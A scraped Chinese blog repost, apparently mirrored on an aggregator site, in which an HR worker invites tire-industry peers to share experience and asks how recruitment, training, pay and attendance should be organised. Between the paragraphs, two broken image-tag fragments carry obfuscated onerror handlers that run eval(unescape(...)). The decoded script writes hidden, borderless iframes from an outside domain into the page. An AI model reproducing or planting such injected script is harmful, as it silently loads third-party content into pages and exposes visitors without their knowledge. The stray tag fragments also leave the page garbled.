中国轮胎行业HR交流空间- 安全防范- dissembles - 和讯博客
中国轮胎行业HR交流空间 [转贴 2010-01-24 11:47:22]   
中国轮胎行业HR交流空间

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

想要有一个同行业HR的交流空间,在这里我们可以在允许的情况下可以交流我们自己的心得,给我们这些晚辈提供学习交流的机会,每一家企业都有他值得我们互相学习的优点,也有我们值得借鉴的经验,在这样一个值得我们信赖的空间中,希望大家倾囊而出,让我们大家瞪大眼睛拭目以待吧,本人建一个这样的空间主要目的就是要向各位同行业专业人员请教.学习,希望各位提出宝贵经验,谢谢

------------------

在一家正处于创业阶段的轮胎行业,作为人力资源部专业,招聘\培训\薪资\考勤各自的定位应该如何做?

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【中国轮胎行业HR交流空间- 安全防范- dissembles - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——